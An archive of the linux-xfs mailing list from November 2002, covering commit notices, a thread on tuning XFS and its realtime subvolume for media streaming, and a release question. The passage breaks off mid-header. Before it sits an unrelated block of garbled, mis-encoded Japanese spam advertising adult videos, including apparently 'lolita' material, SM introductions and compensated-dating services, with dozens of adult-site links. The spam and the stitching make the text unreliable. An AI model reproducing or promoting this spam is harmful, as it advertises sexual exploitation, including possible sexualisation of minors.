QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ ¡‚à‚à‚ª‚Í‚¶‚¯‚Ä‚Ô‚Ç‚¤‚ª‚ä‚ê‚é¡ ‚µ‚¶‚Ý‚Æ‚à‚à‚̃Rƒ‰ƒ{ƒŒ[ƒVƒ‡ƒ“ ƒƒŠ[ƒ^ƒrƒfƒIi‚c‚u‚cjê–å ‚¢‚‚܂ʼnc‹Æ‚Å‚«‚é‚©‚í‚©‚è‚Ü‚¹‚ñ ‚²’•¶‚Í‚¨‘‚ß‚ÉI http://freehp.kakiko.com/magazine/ @«@@@@«@@@@«@@@@«@ http://free.memberz.net/member/speed/ @«@@@@«@@@@«@@@@«@ http://muvc.net/hiyoko18/ @«@@@@«@@@@«@@@@«@ http://www.yentown.net/other-town/iro/ @«@@@@«@@@@«@@@@«@ http://hostingfree.com/sunshine/ @«@@@@«@@@@«@@@@« http://www.filth-hosts.com/users/sunshine/ @«@@@@«@@@@«@@@@« http://www.smut-host.com/sunshine/ @«@@@@«@@@@«@@@@« http://alienporn.sexplanets.com/sunshine/ @«@@@@«@@@@«@@@@« http://www.agreathost.net/sunshine/ @«@@@@«@@@@«@@@@«@ http://www.yahan.com/amateuralley/mania/ ì•i—á ­—“`à@–¼ŒÃ‰®’c’n9@­—‚Ì“¹‘ ‚È‚Ç‚È‚Ç132ì•iBD•]”­”„’†I @(^-^)/~ƒƒŠ˜F—˜ƒ€ƒg[ QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ ¡@‚r‚lƒp[ƒgƒi[Љ“ú@¡ ‚r‚lƒp[ƒgƒi[‘¦“úЉîB ‰‡•‚âSMƒNƒ‰ƒu‚Ƃ͈ႢA‚r‚lˆ¤DŽÒ‚¾‚¯‚ªW‚¤‰ïB ‘S‘‚Å‚²Ð‰î‚Å‚«‚Ü‚·B ‚ ‚È‚½‚̃vƒŒƒC‚É‚ ‚킹‚Ä‘¦“úЉîB ƒvƒŒƒC‘ã‹à‚͈êØ‚©‚©‚è‚Ü‚¹‚ñB ”N—î‚Í20ΈÈãB http://www.yentown.net/bbschat-town/sefle/sm/ @«@@@@«@@@@«@@@@«@ http://voyeur.elitecities.com/keykey/sm/ @«@@@@«@@@@«@@@@«@ http://www.yentown.net/fetish-town/iro2/sm/ @«@@@@«@@@@«@@@@«@ http://www.filth-hosts.com/users/iroiro/sm/ @«@@@@«@@@@«@@@@«@ http://www.smut-host.com/iroiro/sm/ @«@@@@«@@@@«@@@@«@ http://alienporn.sexplanets.com/iroiro/sm/ @«@@@@«@@@@«@@@@«@ http://www.agreathost.net/iroiro/sm/ @«@@@@«@@@@«@@@@«@ http://www.Muryoweb.com/xxxplanet/sougo8/sm/ @@@@@@@@@@@@@@@@@@@@@@@@@‚r‚lƒNƒ‰ƒu \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ ¡@lŒ`Žt‚ªì‚Á‚½Œ†ì•i@¡ •ø‚«‚µ‚ß‚½‚­‚È‚é‚悤‚È‚¨lŒ`‚³‚ñ‚ªì‚ê‚Ü‚µ‚½B ”š”­“I‘åƒqƒbƒg¤•iI ”‚ɧŒÀ‚ª‚ ‚邽‚ßA‚¨\‚µž‚Ý‚Í‚¨‘‚ß‚ÉI ™‹Ç•”‚Ü‚Å–{•¨‚»‚Á‚­‚è‚ɧ삵‚½‚½‚ßA“X“ª”Ì”„‚Å‚«‚Ü‚¹‚ñB http://www.yentown.net/bbschat-town/sefle/dachi/dollc/ @«@@@@«@@@@«@@@@«@ http://voyeur.elitecities.com/keykey/dachi/dollc/ @«@@@@«@@@@«@@@@«@ http://www.yentown.net/fetish-town/iro2/dachi/dollc/ @«@@@@«@@@@«@@@@«@ http://www.filth-hosts.com/users/iroiro/dachi/dollc/ @«@@@@«@@@@«@@@@«@ http://www.smut-host.com/iroiro/dachi/dollc/ @«@@@@«@@@@«@@@@«@ http://alienporn.sexplanets.com/iroiro/dachi/dollc/ @«@@@@«@@@@«@@@@«@ http://www.agreathost.net/iroiro/dachi/dollc/ @«@@@@«@@@@«@@@@«@ http://www.Muryoweb.com/xxxplanet/sougo8/dachi/dollc/ @@@@@@@@@@@@@@@@@@@@@lŒ`Žt‹{ìƒfƒUƒCƒ“ \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ ¡@‹t‰‡•ŒðÛ‚­‚ç‚Ô@¡ ‘f“G‚È’j«‚Æ’©‚Ü‚Å“ñlEEEB ‘f“G‚È’j«‚ð¡‚·‚®‹M—‚ÌŒ³‚ÖŒü‚©‚킹‚Ü‚·B ‘S‘ƒlƒbƒgƒ[ƒN‚Å‚·‚®‚ÉЉî‚n‚jB Žá‚¢—«‚à‰“—¶‚µ‚È‚¢‚Å—V‚Ñ‚Ü‚­‚낤I ‚P‰ñŒÀ‚èA’·ŠúA‰½‚Å‚à‚ ‚èB ô—«‚É—D‚µ‚­‚Å‚«‚é’j«ƒXƒ^ƒbƒt‚à“¯Žž•åW’†ô http://voyeur.elitecities.com/keykey/enjyo/ @«@@@@«@@@@«@@@@«@ http://www.yentown.net/fetish-town/iro2/enjyo/ @«@@@@«@@@@«@@@@«@ http://www.filth-hosts.com/users/iroiro/enjyo/ @«@@@@«@@@@«@@@@«@ http://www.smut-host.com/iroiro/enjyo/ @«@@@@«@@@@«@@@@«@ http://alienporn.sexplanets.com/iroiro/enjyo/ @«@@@@«@@@@«@@@@«@ http://www.agreathost.net/iroiro/enjyo/ @«@@@@«@@@@«@@@@«@ http://www.Muryoweb.com/xxxplanet/sougo8/enjyo/ @@@@@@@@@@@@@@@@@@@@@@@@@‹t‰‡•‰ï \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ ¡@V‘•ŠJ“XIŒƒˆÀƒZ[ƒ‹@¡ AV.DVDŒƒˆÀƒZ[ƒ‹ ‘¼“X‚Å‚ÍŽè‚É“ü‚ç‚È‚¢‚à‚̂΂©‚µ¥¥¥¥¥¥ ˆÈ‘O‚̂悤‚ÉA‚æ‚낵‚­‚¨Šè‚¢‚µ‚Ü‚·B ‘¼“X‚É•‰‚¯‚¸ŒƒˆÀ—¿‹àI http://voyeur.elitecities.com/keykey/pink/ @«@@@@«@@@@«@@@@«@ http://www.yentown.net/fetish-town/iro2/pink/ @«@@@@«@@@@«@@@@«@ http://www.filth-hosts.com/users/iroiro/pink/ @«@@@@«@@@@«@@@@«@ http://www.smut-host.com/iroiro/pink/ @«@@@@«@@@@«@@@@«@ http://alienporn.sexplanets.com/iroiro/pink/ @«@@@@«@@@@«@@@@«@ http://www.agreathost.net/iroiro/pink/ @«@@@@«@@@@«@@@@«@ http://www.Muryoweb.com/xxxplanet/sougo8/pink/ @@@@@@@@@@@@@@@@@@@@@@@@@”ü­—ƒNƒ‰ƒu \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ From owner-linux-xfs@oss.sgi.com Thu Nov 7 07:01:37 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 07 Nov 2002 07:01:39 -0800 (PST) Received: from ledzep.americas.sgi.com (eaganfw1.SGI.COM [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA7F1XuR028173 for ; Thu, 7 Nov 2002 07:01:37 -0800 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id JAA08785 for ; Thu, 7 Nov 2002 09:02:40 -0600 (CST) Received: from dhcp212.munich.sgi.com (dhcp212.munich.sgi.com [144.253.197.212]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id JAA08081 for ; Thu, 7 Nov 2002 09:02:39 -0600 (CST) Received: (from hch@localhost) by dhcp212.munich.sgi.com (8.11.6/8.11.6) id gA7MHKo15013 for linux-xfs@oss.sgi.com; Thu, 7 Nov 2002 17:17:20 -0500 Resent-Message-Id: <200211072217.gA7MHKo15013@dhcp212.munich.sgi.com> Received: from dhcp212.munich.sgi.com (dhcp212.munich.sgi.com [144.253.197.212]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id JAA00956 for ; Thu, 7 Nov 2002 09:01:50 -0600 (CST) Received: (from hch@localhost) by dhcp212.munich.sgi.com (8.11.6/8.11.6) id gA7MGVd15003 for hch@sgi.com; Thu, 7 Nov 2002 17:16:31 -0500 Date: Thu, 7 Nov 2002 17:16:31 -0500 From: Christoph Hellwig Message-Id: <200211072216.gA7MGVd15003@dhcp212.munich.sgi.com> Subject: TAKE - Fix intermezzo compilation Resent-From: hch@sgi.com Resent-Date: Thu, 7 Nov 2002 17:17:20 -0500 Resent-To: linux-xfs@oss.sgi.com X-archive-position: 1558 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: hch@sgi.com Precedence: bulk X-list: linux-xfs Date: Thu Nov 7 07:00:59 PST 2002 Workarea: dhcp212.munich.sgi.com:/home/hch/repo/slinx/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:132301a linux/fs/intermezzo/vfs.c - 1.8 - Disable broken ACL handling code (backport from 2.5) From owner-linux-xfs@oss.sgi.com Thu Nov 7 07:15:44 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 07 Nov 2002 07:15:49 -0800 (PST) Received: from dynamic.galis.org (ool-4350143e.dyn.optonline.net [67.80.20.62]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA7FFiuR028790 for ; Thu, 7 Nov 2002 07:15:44 -0800 Received: (qmail 7174 invoked by uid 1010); 7 Nov 2002 15:17:29 -0000 Date: Thu, 7 Nov 2002 10:17:29 -0500 From: George Georgalis To: linux-xfs@oss.sgi.com Subject: streaming media and realtime subvolume Message-ID: <20021107151729.GA7085@trot> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i X-archive-position: 1559 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: georgw@galis.org Precedence: bulk X-list: linux-xfs Hi - I'm new to xfs and this list. Thanks to the kick that came from a HD failure, I'm now running Debian, with my root, var and usr partitions on xfs. I used "blade's" debian install floppies. http://people.debian.org/~blade/XFS-Install/ I was not happy with the default kernel. The original xfs kernel seemed really fast, extracting tar files etc, but would hang altogether for 3 to 10 seconds at times (presumably in journal io). I made a new kernel with xfs-1.1-2.4.18-all.patch.bz2 and linux-2.4.18.tar.bz2 and everything seems to be running great. I do have a few questions though. I'm not sure if blade's disks used xfs-1.0 or xfs-1.1; and xfs-1.2 seems eminent (I saw some xfs-1.2preX patches). Does the filesystem remain the same through these version changes or should I think about doing a mkfs.xfs each time I upgrade the the xfs version? One main reason I'm experimenting with xfs is its performance rating. I'm designing a dedicated i386, IDE software RAID 1, media streaming machine (whew). The box's only function will be to stream media from its disk. This is actually a node of which there will be many, with a central server. I expect a single 7200rpm ide drive to be able to handle the stream. I'm using raid for high availability; but uninterrupted streams is a must. What mount parameters can I use to assure uninterrupted io? Are there other adjustments I should be thinking of? I've seen a few mentions of the Linux xfs realtime subvolume but no doc, is it ready for production? From what I can tell, it's a non journeled contiguous data block. Maybe I should just use ext2 for the media files? Would that be higher performance? I'm not too worried about fsck, because in the case of corruption I can remake the filesystem (data partition) and renew the data from the node server. Thanks for your input. // George -- GEORGE GEORGALIS, System Admin/Architect cell: 347-451-8229 Security Services, Web, Mail, mailto:george@galis.org File, Print, DB and DNS Servers. http://www.galis.org/george From owner-linux-xfs@oss.sgi.com Thu Nov 7 07:20:24 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 07 Nov 2002 07:20:26 -0800 (PST) Received: from ledzep.americas.sgi.com (eaganfw1.SGI.COM [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA7FKNuR029290 for ; Thu, 7 Nov 2002 07:20:24 -0800 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id JAA70687 for ; Thu, 7 Nov 2002 09:21:31 -0600 (CST) Received: from dhcp212.munich.sgi.com (dhcp212.munich.sgi.com [144.253.197.212]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id JAA06563 for ; Thu, 7 Nov 2002 09:21:29 -0600 (CST) Received: (from hch@localhost) by dhcp212.munich.sgi.com (8.11.6/8.11.6) id gA7MaAs15093 for linux-xfs@oss.sgi.com; Thu, 7 Nov 2002 17:36:10 -0500 Resent-Message-Id: <200211072236.gA7MaAs15093@dhcp212.munich.sgi.com> Received: from nodin.corp.sgi.com (fddi-nodin.corp.sgi.com [198.29.75.193]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id JAA81428 for ; Thu, 7 Nov 2002 09:20:59 -0600 (CST) From: hch@lab343.munich.sgi.com Received: from lab343.munich.sgi.com (lab343.munich.sgi.com [144.253.195.43]) by nodin.corp.sgi.com (8.12.3/8.11.4/nodin-1.0) with ESMTP id gA7FKwkZ31151285 for ; Thu, 7 Nov 2002 07:20:58 -0800 (PST) Received: from lab343.munich.sgi.com (localhost [127.0.0.1]) by lab343.munich.sgi.com (8.12.3/8.12.2/SuSE Linux 0.6) with ESMTP id gA7FJbLT010182 for ; Thu, 7 Nov 2002 16:19:37 +0100 Received: (from hch@localhost) by lab343.munich.sgi.com (8.12.3/8.12.2/Submit) id gA7FJbCL010181 for hch@sgi.com; Thu, 7 Nov 2002 16:19:37 +0100 Date: Thu, 7 Nov 2002 16:19:37 +0100 Message-Id: <200211071519.gA7FJbCL010181@lab343.munich.sgi.com> Subject: TAKE - check for ncurses instead of curses To: undisclosed-recipients:; Resent-From: hch@sgi.com Resent-Date: Thu, 7 Nov 2002 17:36:10 -0500 Resent-To: linux-xfs@oss.sgi.com X-archive-position: 1560 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: hch@sgi.com Precedence: bulk X-list: linux-xfs Unfortunately SuSE doesn't provide a libcurses as any other Linux Distribution or UNIX does. Check for ncurses instead. Date: Thu Nov 7 07:19:20 PST 2002 Workarea: lab343.munich.sgi.com:/home/hch/repo/slinx/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:132304a cmd/xfsdump/configure.in - 1.25 - check for ncurses.h instead of curses.h and libncurses instead of libcurses cmd/xfsdump/invutil/list.c - 1.3 - include ncurses.h instead of curses.h cmd/xfsdump/invutil/stobj.c - 1.4 - include ncurses.h instead of curses.h cmd/xfsdump/invutil/screen.c - 1.3 - include ncurses.h instead of curses.h cmd/xfsdump/invutil/menu.c - 1.3 - include ncurses.h instead of curses.h cmd/xfsdump/invutil/cmenu.c - 1.3 - include ncurses.h instead of curses.h cmd/xfsdump/invutil/fstab.c - 1.3 - include ncurses.h instead of curses.h cmd/xfsdump/invutil/invidx.c - 1.3 - include ncurses.h instead of curses.h From owner-linux-xfs@oss.sgi.com Thu Nov 7 07:31:50 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 07 Nov 2002 07:31:52 -0800 (PST) Received: from smtpzilla5.xs4all.nl (smtpzilla5.xs4all.nl [194.109.127.141]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA7FVmuR030151 for ; Thu, 7 Nov 2002 07:31:49 -0800 Received: from auto-nb1.xs4all.nl (coltex.xs4all.nl [213.84.127.28]) by smtpzilla5.xs4all.nl (8.12.0/8.12.0) with ESMTP id gA7FWvpw061952; Thu, 7 Nov 2002 16:32:58 +0100 (CET) Message-Id: <4.3.2.7.2.20021107162618.035ef2e0@pop.xs4all.nl> X-Sender: knuffie@pop.xs4all.nl X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Thu, 07 Nov 2002 16:31:42 +0100 To: George Georgalis , linux-xfs@oss.sgi.com From: Seth Mos Subject: Re: streaming media and realtime subvolume In-Reply-To: <20021107151729.GA7085@trot> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-archive-position: 1561 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: knuffie@xs4all.nl Precedence: bulk X-list: linux-xfs At 10:17 7-11-2002 -0500, George Georgalis wrote: >I do have a few questions though. I'm not sure if blade's disks used >xfs-1.0 or xfs-1.1; and xfs-1.2 seems eminent (I saw some xfs-1.2preX >patches). Does the filesystem remain the same through these version >changes or should I think about doing a mkfs.xfs each time I upgrade >the the xfs version? No, the filesystem will not change. Only the log format has changed over time And you would only notice that using a really old kernel and a unclean shutdown. >I expect a single 7200rpm ide drive to be able to handle the stream. reading from or writing to? >I'm using raid for high availability; but uninterrupted streams is >a must. What mount parameters can I use to assure uninterrupted io? Is it a single file? >Are there other adjustments I should be thinking of? I've seen a few >mentions of the Linux xfs realtime subvolume but no doc, is it ready for >production? From what I can tell, it's a non journeled contiguous data >block. Maybe I should just use ext2 for the media files? Would that be Read speed is about as fast on most filesystems, at least for a IDE disk. That is, xfs, ext2/3 and reiserfs are almost as fast reading a single large file. XFS is good with large files in particular. >higher performance? I'm not too worried about fsck, because in the case >of corruption I can remake the filesystem (data partition) and renew the >data from the node server. If data corruption is not a issue and you do a lot of writing to the filesystem, it might* be faster to use a non journaling filesystem. *Baring a number of caveats ofcourse. For most people this is negligble but not always so. It depends on too much factors. Cheers Seth -- Seth It might just be your lucky day, if you only knew. From owner-linux-xfs@oss.sgi.com Thu Nov 7 07:33:24 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 07 Nov 2002 07:33:25 -0800 (PST) Received: from ledzep.americas.sgi.com (eaganfw1.SGI.COM [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA7FXNuR030304 for ; Thu, 7 Nov 2002 07:33:23 -0800 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id JAA29925; Thu, 7 Nov 2002 09:34:30 -0600 (CST) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id JAA77761; Thu, 7 Nov 2002 09:34:30 -0600 (CST) Subject: Re: streaming media and realtime subvolume From: Eric Sandeen To: George Georgalis Cc: linux-xfs@oss.sgi.com In-Reply-To: <20021107151729.GA7085@trot> References: <20021107151729.GA7085@trot> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) Date: 07 Nov 2002 09:34:14 -0600 Message-Id: <1036683254.13907.4.camel@stout.americas.sgi.com> Mime-Version: 1.0 X-archive-position: 1562 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs On Thu, 2002-11-07 at 09:17, George Georgalis wrote: > I do have a few questions though. I'm not sure if blade's disks used > xfs-1.0 or xfs-1.1; and xfs-1.2 seems eminent (I saw some xfs-1.2preX > patches). Does the filesystem remain the same through these version > changes or should I think about doing a mkfs.xfs each time I upgrade > the the xfs version? XFS on-disk format is in general not changed (remember, XFS has been around on IRIX for some years now...) and when minor changes are made, there is compatibility. I'll leave some of your questions for others to answer, but... > I've seen a few > mentions of the Linux xfs realtime subvolume but no doc, is it ready for > production? From what I can tell, it's a non journeled contiguous data > block. The realtime volume is not supported, although it is basically functional. You need to do an ioctl to the file to mark it realtime after it's created (but before any data is written to it) and then do Direct I/O to the file from then on. The main difference is a more deterministic allocator that should allocate bigger chunks at a time. "realtime" is perhaps a bit of a misnomer. Oh, and it is journalled just as the main data volume is. Maybe I should just use ext2 for the media files? Would that be > higher performance? I'm not too worried about fsck, because in the case > of corruption I can remake the filesystem (data partition) and renew the > data from the node server. You'll probably just need to test in your environment, and see what works best. Different filesystems excel at different things... -Eric -- Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. 651-683-3102 From owner-linux-xfs@oss.sgi.com Thu Nov 7 09:28:07 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 07 Nov 2002 09:28:12 -0800 (PST) Received: from dynamic.galis.org (ool-4350143e.dyn.optonline.net [67.80.20.62]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA7HS6uR000315 for ; Thu, 7 Nov 2002 09:28:06 -0800 Received: (qmail 8388 invoked by uid 1010); 7 Nov 2002 17:29:53 -0000 Date: Thu, 7 Nov 2002 12:29:52 -0500 From: George Georgalis To: Seth Mos Cc: linux-xfs@oss.sgi.com Subject: Re: streaming media and realtime subvolume Message-ID: <20021107172952.GA8321@trot> References: <20021107151729.GA7085@trot> <4.3.2.7.2.20021107162618.035ef2e0@pop.xs4all.nl> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <4.3.2.7.2.20021107162618.035ef2e0@pop.xs4all.nl> User-Agent: Mutt/1.3.28i X-archive-position: 1563 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: georgw@galis.org Precedence: bulk X-list: linux-xfs On Thu, Nov 07, 2002 at 04:31:42PM +0100, Seth Mos wrote: >At 10:17 7-11-2002 -0500, George Georgalis wrote: >>I expect a single 7200rpm ide drive to be able to handle the stream. > >reading from or writing to? reading only. >>I'm using raid for high availability; but uninterrupted streams is >>a must. What mount parameters can I use to assure uninterrupted io? > >Is it a single file? Have some control over that, but it may not always be one file. >>Are there other adjustments I should be thinking of? I've seen a few >>mentions of the Linux xfs realtime subvolume but no doc, is it ready for >>production? From what I can tell, it's a non journeled contiguous data >>block. Maybe I should just use ext2 for the media files? Would that be > >Read speed is about as fast on most filesystems, at least for a IDE disk. >That is, xfs, ext2/3 and reiserfs are almost as fast reading a single large >file. XFS is good with large files in particular. Good. >>higher performance? I'm not too worried about fsck, because in the case >>of corruption I can remake the filesystem (data partition) and renew the >>data from the node server. > >If data corruption is not a issue and you do a lot of writing to the >filesystem, it might* be faster to use a non journaling filesystem. > >*Baring a number of caveats ofcourse. For most people this is negligble but >not always so. It depends on too much factors. The media files will only be written to occasionally. peak or average read times I don't think will be an issue, _continuous_ audio/video is the priority. I don't know specifically what the problem was with the blade kernel but the box would not respond for several seconds at times, apparently for journal commitment? I imagine much of what I need will be os tuning (tips welcome) eg minimal remote logging; but re xfs, I'm looking for mount parameters or anything that would make disk reads as continuous as possible. Thanks, // George -- GEORGE GEORGALIS, System Admin/Architect cell: 347-451-8229 Security Services, Web, Mail, mailto:george@galis.org File, Print, DB and DNS Servers. http://www.galis.org/george From owner-linux-xfs@oss.sgi.com Thu Nov 7 09:35:44 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 07 Nov 2002 09:35:46 -0800 (PST) Received: from dynamic.galis.org (ool-4350143e.dyn.optonline.net [67.80.20.62]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA7HZhuR000959 for ; Thu, 7 Nov 2002 09:35:44 -0800 Received: (qmail 8418 invoked by uid 1010); 7 Nov 2002 17:37:30 -0000 Date: Thu, 7 Nov 2002 12:37:30 -0500 From: George Georgalis To: Eric Sandeen Cc: linux-xfs@oss.sgi.com Subject: Re: streaming media and realtime subvolume Message-ID: <20021107173730.GB8321@trot> References: <20021107151729.GA7085@trot> <1036683254.13907.4.camel@stout.americas.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1036683254.13907.4.camel@stout.americas.sgi.com> User-Agent: Mutt/1.3.28i X-archive-position: 1564 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: georgw@galis.org Precedence: bulk X-list: linux-xfs On Thu, Nov 07, 2002 at 09:34:14AM -0600, Eric Sandeen wrote: >On Thu, 2002-11-07 at 09:17, George Georgalis wrote: >> I've seen a few >> mentions of the Linux xfs realtime subvolume but no doc, is it ready for >> production? From what I can tell, it's a non journeled contiguous data >> block. > >The realtime volume is not supported, although it is basically >functional. You need to do an ioctl to the file to mark it realtime >after it's created (but before any data is written to it) and then do >Direct I/O to the file from then on. The main difference is a more >deterministic allocator that should allocate bigger chunks at a time. >"realtime" is perhaps a bit of a misnomer. Oh, and it is journalled >just as the main data volume is. Can you give examples of 'direct i/o'? do you mean like dd? from which I can pipe stdout to my media player? > >Maybe I should just use ext2 for the media files? Would that be >> higher performance? I'm not too worried about fsck, because in the case >> of corruption I can remake the filesystem (data partition) and renew the >> data from the node server. > >You'll probably just need to test in your environment, and see what >works best. Different filesystems excel at different things... Yes, just trying to glean as much as I can before I spend time learning things I don't need to know. :) Thanks for the tips. // George -- GEORGE GEORGALIS, System Admin/Architect cell: 347-451-8229 Security Services, Web, Mail, mailto:george@galis.org File, Print, DB and DNS Servers. http://www.galis.org/george From owner-linux-xfs@oss.sgi.com Thu Nov 7 09:37:59 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 07 Nov 2002 09:38:01 -0800 (PST) Received: from ledzep.americas.sgi.com (eaganfw1.SGI.COM [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA7HbwuR001104 for ; Thu, 7 Nov 2002 09:37:58 -0800 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id LAA66174; Thu, 7 Nov 2002 11:39:06 -0600 (CST) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id LAA24567; Thu, 7 Nov 2002 11:39:06 -0600 (CST) Subject: Re: streaming media and realtime subvolume From: Eric Sandeen To: George Georgalis Cc: linux-xfs@oss.sgi.com In-Reply-To: <20021107173730.GB8321@trot> References: <20021107151729.GA7085@trot> <1036683254.13907.4.camel@stout.americas.sgi.com> <20021107173730.GB8321@trot> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) Date: 07 Nov 2002 11:38:49 -0600 Message-Id: <1036690729.13877.14.camel@stout.americas.sgi.com> Mime-Version: 1.0 X-archive-position: 1565 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs On Thu, 2002-11-07 at 11:37, George Georgalis wrote: > Can you give examples of 'direct i/o'? do you mean like dd? from which I > can pipe stdout to my media player? No, like O_DIRECT, as in: fd = open("tempfile_direct", O_CREAT|O_RDWR|O_DIRECT, 0666); It bypasses the buffer cache. -Eric -- Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. 651-683-3102 From owner-linux-xfs@oss.sgi.com Thu Nov 7 09:52:03 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 07 Nov 2002 09:52:07 -0800 (PST) Received: from mailout09.sul.t-online.com (mailout09.sul.t-online.com [194.25.134.84]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA7Hq2uR006119 for ; Thu, 7 Nov 2002 09:52:03 -0800 Received: from fwd03.sul.t-online.de by mailout09.sul.t-online.com with smtp id 189qqB-0002oa-01; Thu, 07 Nov 2002 18:53:15 +0100 Received: from osiris.xgm.de (340060635977-0001@[80.129.10.246]) by fmrl03.sul.t-online.com with esmtp id 189qq0-1nnTo8C; Thu, 7 Nov 2002 18:53:04 +0100 Received: from osiris.xgm.de (localhost.localdomain [127.0.0.1]) by osiris.xgm.de (Postfix) with ESMTP id 5523B1434A99 for ; Thu, 7 Nov 2002 18:47:44 +0100 (CET) Content-Type: text/plain; charset="us-ascii" From: Florian Lindner To: linux-xfs@oss.sgi.com Subject: Next Release / devel tree? Date: Thu, 7 Nov 2002 18:47:44 +0100 User-Agent: KMail/1.4.3 MIME-Version: 1.0 Message-Id: <200211071847.44159.Florian.Lindner@xgm.de> X-Sender: 340060635977-0001@t-dialin.net Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id gA7Hq3uR006120 X-archive-position: 1566 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: Florian.Lindner@xgm.de Precedence: bulk X-list: linux-xfs Hi, the XFS 1.1. release in now over half a year old. When is a new release to be expected? Is it safe to work with the CVS version? (for a 2.4 kernel) Thx, Florian From owner-linux-xfs@oss.sgi.com Thu Nov 7 10:00:09 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 07 Nov 2002 10:00:11 -0800 (PST) Received: from ledzep.americas.sgi.com (eaganfw1.SGI.COM [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA7I09uR006628 for ; Thu, 7 Nov 2002 10:00:09 -0800 Received: from maine.americas.sgi.com (maine.americas.sgi.com [128.162.191.42]) by ledzep.americas.sgi.com 